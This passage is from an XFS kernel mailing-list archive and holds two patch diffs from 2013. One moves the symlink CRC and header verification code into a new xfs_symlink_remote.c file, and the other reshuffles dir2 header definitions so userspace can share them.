+/* + * Remote symlink format and access functions. + */ +#define XFS_SYMLINK_MAGIC 0x58534c4d /* XSLM */ + +struct xfs_dsymlink_hdr { + __be32 sl_magic; + __be32 sl_offset; + __be32 sl_bytes; + __be32 sl_crc; + uuid_t sl_uuid; + __be64 sl_owner; + __be64 sl_blkno; + __be64 sl_lsn; +}; + +/* + * The maximum pathlen is 1024 bytes. Since the minimum file system + * blocksize is 512 bytes, we can get a max of 3 extents back from + * bmapi when crc headers are taken into account. + */ +#define XFS_SYMLINK_MAPS 3 + +#define XFS_SYMLINK_BUF_SPACE(mp, bufsize) \ + ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ + sizeof(struct xfs_dsymlink_hdr) : 0)) + +int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); +int xfs_symlink_hdr_set(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, + uint32_t size, struct xfs_buf *bp); +void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_inode *ip, struct xfs_ifork *ifp); + +extern const struct xfs_buf_ops xfs_symlink_buf_ops; #endif /* __XFS_FORMAT_H__ */ diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index dd7c099..18f24de 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -32,8 +32,6 @@ #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_inode_item.h" -#include "xfs_itable.h" #include "xfs_ialloc.h" #include "xfs_alloc.h" #include "xfs_bmap.h" @@ -41,178 +39,8 @@ #include "xfs_quota.h" #include "xfs_utils.h" #include "xfs_trans_space.h" -#include "xfs_log_priv.h" #include "xfs_trace.h" #include "xfs_symlink.h" -#include "xfs_cksum.h" -#include "xfs_buf_item.h" - - -/* - * Each contiguous block has a header, so it is not just a simple pathlen - * to FSB conversion. - */ -int -xfs_symlink_blocks( - struct xfs_mount *mp, - int pathlen) -{ - int buflen = XFS_SYMLINK_BUF_SPACE(mp, mp->m_sb.sb_blocksize); - - return (pathlen + buflen - 1) / buflen; -} - -static int -xfs_symlink_hdr_set( - struct xfs_mount *mp, - xfs_ino_t ino, - uint32_t offset, - uint32_t size, - struct xfs_buf *bp) -{ - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return 0; - - dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); - dsl->sl_offset = cpu_to_be32(offset); - dsl->sl_bytes = cpu_to_be32(size); - uuid_copy(&dsl->sl_uuid, &mp->m_sb.sb_uuid); - dsl->sl_owner = cpu_to_be64(ino); - dsl->sl_blkno = cpu_to_be64(bp->b_bn); - bp->b_ops = &xfs_symlink_buf_ops; - - return sizeof(struct xfs_dsymlink_hdr); -} - -/* - * Checking of the symlink header is split into two parts. the verifier does - * CRC, location and bounds checking, the unpacking function checks the path - * parameters and owner. - */ -bool -xfs_symlink_hdr_ok( - struct xfs_mount *mp, - xfs_ino_t ino, - uint32_t offset, - uint32_t size, - struct xfs_buf *bp) -{ - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (offset != be32_to_cpu(dsl->sl_offset)) - return false; - if (size != be32_to_cpu(dsl->sl_bytes)) - return false; - if (ino != be64_to_cpu(dsl->sl_owner)) - return false; - - /* ok */ - return true; -} - -static bool -xfs_symlink_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (dsl->sl_magic != cpu_to_be32(XFS_SYMLINK_MAGIC)) - return false; - if (!uuid_equal(&dsl->sl_uuid, &mp->m_sb.sb_uuid)) - return false; - if (bp->b_bn != be64_to_cpu(dsl->sl_blkno)) - return false; - if (be32_to_cpu(dsl->sl_offset) + - be32_to_cpu(dsl->sl_bytes) >= MAXPATHLEN) - return false; - if (dsl->sl_owner == 0) - return false; - - return true; -} - -static void -xfs_symlink_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - - /* no verification of non-crc buffers */ - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } -} - -static void -xfs_symlink_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_buf_log_item *bip = bp->b_fspriv; - - /* no verification of non-crc buffers */ - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - return; - } - - if (bip) { - struct xfs_dsymlink_hdr *dsl = bp->b_addr; - dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)); -} - -const struct xfs_buf_ops xfs_symlink_buf_ops = { - .verify_read = xfs_symlink_read_verify, - .verify_write = xfs_symlink_write_verify, -}; - -void -xfs_symlink_local_to_remote( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - struct xfs_mount *mp = ip->i_mount; - char *buf; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) { - bp->b_ops = NULL; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); - return; - } - - /* - * As this symlink fits in an inode literal area, it must also fit in - * the smallest buffer the filesystem supports. - */ - ASSERT(BBTOB(bp->b_length) >= - ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); - - bp->b_ops = &xfs_symlink_buf_ops; - - buf = bp->b_addr; - buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); - memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); -} /* ----- Kernel only functions below ----- */ STATIC int diff --git a/fs/xfs/xfs_symlink.h b/fs/xfs/xfs_symlink.h index c8e3a02..99338ba 100644 --- a/fs/xfs/xfs_symlink.h +++ b/fs/xfs/xfs_symlink.h @@ -17,51 +17,11 @@ #ifndef __XFS_SYMLINK_H #define __XFS_SYMLINK_H 1 -struct xfs_mount; -struct xfs_trans; -struct xfs_inode; -struct xfs_buf; -struct xfs_ifork; -struct xfs_name; - -#define XFS_SYMLINK_MAGIC 0x58534c4d /* XSLM */ - -struct xfs_dsymlink_hdr { - __be32 sl_magic; - __be32 sl_offset; - __be32 sl_bytes; - __be32 sl_crc; - uuid_t sl_uuid; - __be64 sl_owner; - __be64 sl_blkno; - __be64 sl_lsn; -}; - -/* - * The maximum pathlen is 1024 bytes. Since the minimum file system - * blocksize is 512 bytes, we can get a max of 3 extents back from - * bmapi when crc headers are taken into account. - */ -#define XFS_SYMLINK_MAPS 3 - -#define XFS_SYMLINK_BUF_SPACE(mp, bufsize) \ - ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ - sizeof(struct xfs_dsymlink_hdr) : 0)) - -int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); -bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, - uint32_t size, struct xfs_buf *bp); -void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_inode *ip, struct xfs_ifork *ifp); - -extern const struct xfs_buf_ops xfs_symlink_buf_ops; - -#ifdef __KERNEL__ +/* Kernel only symlink defintions */ int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, const char *target_path, umode_t mode, struct xfs_inode **ipp); int xfs_readlink(struct xfs_inode *ip, char *link); int xfs_inactive_symlink(struct xfs_inode *ip, struct xfs_trans **tpp); -#endif /* __KERNEL__ */ #endif /* __XFS_SYMLINK_H */ diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c new file mode 100644 index 0000000..a318524 --- /dev/null +++ b/fs/xfs/xfs_symlink_remote.c @@ -0,0 +1,199 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2012-2013 Red Hat, Inc. + * All rights reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_bmap_btree.h" +#include "xfs_inode.h" +#include "xfs_error.h" +#include "xfs_trace.h" +#include "xfs_symlink.h" +#include "xfs_cksum.h" +#include "xfs_buf_item.h" + + +/* + * Each contiguous block has a header, so it is not just a simple pathlen + * to FSB conversion. + */ +int +xfs_symlink_blocks( + struct xfs_mount *mp, + int pathlen) +{ + int buflen = XFS_SYMLINK_BUF_SPACE(mp, mp->m_sb.sb_blocksize); + + return (pathlen + buflen - 1) / buflen; +} + +int +xfs_symlink_hdr_set( + struct xfs_mount *mp, + xfs_ino_t ino, + uint32_t offset, + uint32_t size, + struct xfs_buf *bp) +{ + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return 0; + + dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); + dsl->sl_offset = cpu_to_be32(offset); + dsl->sl_bytes = cpu_to_be32(size); + uuid_copy(&dsl->sl_uuid, &mp->m_sb.sb_uuid); + dsl->sl_owner = cpu_to_be64(ino); + dsl->sl_blkno = cpu_to_be64(bp->b_bn); + bp->b_ops = &xfs_symlink_buf_ops; + + return sizeof(struct xfs_dsymlink_hdr); +} + +/* + * Checking of the symlink header is split into two parts. the verifier does + * CRC, location and bounds checking, the unpacking function checks the path + * parameters and owner. + */ +bool +xfs_symlink_hdr_ok( + struct xfs_mount *mp, + xfs_ino_t ino, + uint32_t offset, + uint32_t size, + struct xfs_buf *bp) +{ + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (offset != be32_to_cpu(dsl->sl_offset)) + return false; + if (size != be32_to_cpu(dsl->sl_bytes)) + return false; + if (ino != be64_to_cpu(dsl->sl_owner)) + return false; + + /* ok */ + return true; +} + +static bool +xfs_symlink_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (dsl->sl_magic != cpu_to_be32(XFS_SYMLINK_MAGIC)) + return false; + if (!uuid_equal(&dsl->sl_uuid, &mp->m_sb.sb_uuid)) + return false; + if (bp->b_bn != be64_to_cpu(dsl->sl_blkno)) + return false; + if (be32_to_cpu(dsl->sl_offset) + + be32_to_cpu(dsl->sl_bytes) >= MAXPATHLEN) + return false; + if (dsl->sl_owner == 0) + return false; + + return true; +} + +static void +xfs_symlink_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + /* no verification of non-crc buffers */ + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_dsymlink_hdr, sl_crc)) || + !xfs_symlink_verify(bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + } +} + +static void +xfs_symlink_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_buf_log_item *bip = bp->b_fspriv; + + /* no verification of non-crc buffers */ + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + if (!xfs_symlink_verify(bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } + + if (bip) { + struct xfs_dsymlink_hdr *dsl = bp->b_addr; + dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); + } + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), + offsetof(struct xfs_dsymlink_hdr, sl_crc)); +} + +const struct xfs_buf_ops xfs_symlink_buf_ops = { + .verify_read = xfs_symlink_read_verify, + .verify_write = xfs_symlink_write_verify, +}; + +void +xfs_symlink_local_to_remote( + struct xfs_trans *tp, + struct xfs_buf *bp, + struct xfs_inode *ip, + struct xfs_ifork *ifp) +{ + struct xfs_mount *mp = ip->i_mount; + char *buf; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) { + bp->b_ops = NULL; + memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); + return; + } + + /* + * As this symlink fits in an inode literal area, it must also fit in + * the smallest buffer the filesystem supports. + */ + ASSERT(BBTOB(bp->b_length) >= + ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); + + bp->b_ops = &xfs_symlink_buf_ops; + + buf = bp->b_addr; + buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); + memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BB1EB7F77 for ; Fri, 19 Jul 2013 01:25:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 664ECAC010 for ; Thu, 18 Jul 2013 23:25:43 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id xuYEmFtp9he8V4Ar for ; Thu, 18 Jul 2013 23:25:41 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:34 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048D-Qp for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xu-Pu for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 16/49] xfs: reshuffle dir2 definitions around for userspace Date: Fri, 19 Jul 2013 16:24:47 +1000 X-ASG-Orig-Subj: [PATCH 16/49] xfs: reshuffle dir2 definitions around for userspace Message-Id: <1374215120-7271-17-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215140 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Many of the definitions within xfs_dir2_priv.h are needed in userspace outside libxfs. Definitions within xfs_dir2_priv.h are wholly contained within libxfs, so we need to shuffle some of the definitions around to keep consistency across files shared between user and kernel space. Signed-off-by: Dave Chinner --- fs/xfs/xfs_bmap.c | 3 ++- fs/xfs/xfs_da_btree.c | 2 +- fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2.h | 51 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_data.c | 6 ++---- fs/xfs/xfs_dir2_leaf.c | 1 + fs/xfs/xfs_dir2_node.c | 1 + fs/xfs/xfs_dir2_priv.h | 31 ---------------------------- fs/xfs/xfs_dir2_readdir.c | 1 + fs/xfs/xfs_dir2_sf.c | 6 +++--- fs/xfs/xfs_export.c | 4 +++- fs/xfs/xfs_file.c | 2 +- fs/xfs/xfs_icreate_item.c | 12 ----------- fs/xfs/xfs_log_recover.c | 2 +- fs/xfs/xfs_mount.c | 4 +++- fs/xfs/xfs_rename.c | 3 ++- fs/xfs/xfs_rtalloc.c | 1 - fs/xfs/xfs_super.c | 3 ++- fs/xfs/xfs_symlink.c | 3 ++- fs/xfs/xfs_utils.c | 4 +++- fs/xfs/xfs_vnodeops.c | 3 ++- 22 files changed, 83 insertions(+), 64 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 0343b44..72a2eea 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -24,9 +24,10 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_dir2.h" #include "xfs_mount.h" #include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 0b8b2a1..8bbd7ef 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -27,8 +27,8 @@ #include "xfs_mount.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" -#include "xfs_dir2.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_dinode.h" #include "xfs_inode.h" diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 431be44..c3263a5 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -31,8 +31,8 @@ #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" -#include "xfs_dir2.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_vnodeops.h" diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index e937d99..7ef6b0f 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -23,6 +23,11 @@ struct xfs_da_args; struct xfs_inode; struct xfs_mount; struct xfs_trans; +struct xfs_dir2_sf_hdr; +struct xfs_dir2_sf_entry; +struct xfs_dir2_data_hdr; +struct xfs_dir2_data_entry; +struct xfs_dir2_data_unused; extern struct xfs_name xfs_name_dotdot; @@ -57,4 +62,50 @@ extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, */ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); +/* + * Direct call on directory open, before entering the readdir code. + */ +extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, + xfs_dablk_t bno, xfs_daddr_t mapped_bno); + +/* + * Interface routines used by userspace utilities + */ +extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); +extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, + xfs_ino_t ino); +extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, + struct xfs_dir2_sf_entry *sfep); +extern void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *, + struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino); + +extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); +extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); +extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, + struct xfs_buf *bp); + +extern void xfs_dir2_data_freescan(struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr, int *loghead); +extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_dir2_data_entry *dep); +extern void xfs_dir2_data_log_header(struct xfs_trans *tp, + struct xfs_buf *bp); +extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_dir2_data_unused *dup); +extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, + xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, + int *needlogp, int *needscanp); +extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, + xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); + +extern struct xfs_dir2_data_free *xfs_dir2_data_freefind( + struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_unused *dup); + +extern const struct xfs_buf_ops xfs_dir3_block_buf_ops; +extern const struct xfs_buf_ops xfs_dir3_leafn_buf_ops; +extern const struct xfs_buf_ops xfs_dir3_leaf1_buf_ops; +extern const struct xfs_buf_ops xfs_dir3_free_buf_ops; +extern const struct xfs_buf_ops xfs_dir3_data_buf_ops; + #endif /* __XFS_DIR2_H__ */ diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 5e84000..becd69f 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -31,8 +31,8 @@ #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_buf_item.h" -#include "xfs_dir2.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index c293023..4e1917d 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -29,14 +29,12 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_buf_item.h" #include "xfs_cksum.h" -STATIC xfs_dir2_data_free_t * -xfs_dir2_data_freefind(xfs_dir2_data_hdr_t *hdr, xfs_dir2_data_unused_t *dup); - /* * Check the consistency of the data block. * The input can also be a block-format directory. @@ -325,7 +323,7 @@ xfs_dir3_data_readahead( * Given a data block and an unused entry from that block, * return the bestfree entry if any that corresponds to it. */ -STATIC xfs_dir2_data_free_t * +xfs_dir2_data_free_t * xfs_dir2_data_freefind( xfs_dir2_data_hdr_t *hdr, /* data block */ xfs_dir2_data_unused_t *dup) /* data unused entry */ diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index e1386aa..5505edb 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -31,6 +31,7 @@ #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 2226a00..b4bd9b6 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -30,6 +30,7 @@ #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h index 72ff8d7..807eb65 100644 --- a/fs/xfs/xfs_dir2_priv.h +++ b/fs/xfs/xfs_dir2_priv.h @@ -20,18 +20,12 @@ /* xfs_dir2.c */ extern int xfs_dir_ino_validate(struct xfs_mount *mp, xfs_ino_t ino); -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_grow_inode(struct xfs_da_args *args, int space, xfs_dir2_db_t *dbp); -extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t db, - struct xfs_buf *bp); extern int xfs_dir_cilookup_result(struct xfs_da_args *args, const unsigned char *name, int len); /* xfs_dir2_block.c */ -extern const struct xfs_buf_ops xfs_dir3_block_buf_ops; - extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_buf **bpp); extern int xfs_dir2_block_addname(struct xfs_da_args *args); @@ -48,39 +42,17 @@ extern int xfs_dir2_leaf_to_block(struct xfs_da_args *args, #define xfs_dir3_data_check(dp,bp) #endif -extern const struct xfs_buf_ops xfs_dir3_data_buf_ops; -extern const struct xfs_buf_ops xfs_dir3_free_buf_ops; - extern int __xfs_dir3_data_check(struct xfs_inode *dp, struct xfs_buf *bp); extern int xfs_dir3_data_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t bno, xfs_daddr_t mapped_bno, struct xfs_buf **bpp); -extern int xfs_dir3_data_readahead(struct xfs_trans *tp, struct xfs_inode *dp, - xfs_dablk_t bno, xfs_daddr_t mapped_bno); extern struct xfs_dir2_data_free * xfs_dir2_data_freeinsert(struct xfs_dir2_data_hdr *hdr, struct xfs_dir2_data_unused *dup, int *loghead); -extern void xfs_dir2_data_freescan(struct xfs_mount *mp, - struct xfs_dir2_data_hdr *hdr, int *loghead); extern int xfs_dir3_data_init(struct xfs_da_args *args, xfs_dir2_db_t blkno, struct xfs_buf **bpp); -extern void xfs_dir2_data_log_entry(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_entry *dep); -extern void xfs_dir2_data_log_header(struct xfs_trans *tp, - struct xfs_buf *bp); -extern void xfs_dir2_data_log_unused(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup); -extern void xfs_dir2_data_make_free(struct xfs_trans *tp, struct xfs_buf *bp, - xfs_dir2_data_aoff_t offset, xfs_dir2_data_aoff_t len, - int *needlogp, int *needscanp); -extern void xfs_dir2_data_use_free(struct xfs_trans *tp, struct xfs_buf *bp, - struct xfs_dir2_data_unused *dup, xfs_dir2_data_aoff_t offset, - xfs_dir2_data_aoff_t len, int *needlogp, int *needscanp); /* xfs_dir2_leaf.c */ -extern const struct xfs_buf_ops xfs_dir3_leaf1_buf_ops; -extern const struct xfs_buf_ops xfs_dir3_leafn_buf_ops; - extern int xfs_dir3_leafn_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t fbno, xfs_daddr_t mappedbno, struct xfs_buf **bpp); extern int xfs_dir2_block_to_leaf(struct xfs_da_args *args, @@ -142,9 +114,6 @@ extern int xfs_dir2_free_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t fbno, struct xfs_buf **bpp); /* xfs_dir2_sf.c */ -extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); extern int xfs_dir2_block_sfsize(struct xfs_inode *dp, struct xfs_dir2_data_hdr *block, struct xfs_dir2_sf_hdr *sfhp); extern int xfs_dir2_block_to_sf(struct xfs_da_args *args, struct xfs_buf *bp, diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index fd3829a..e6211a7 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -30,6 +30,7 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_dir2_format.h" +#include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index f24ce90..65b65c5 100644 --- 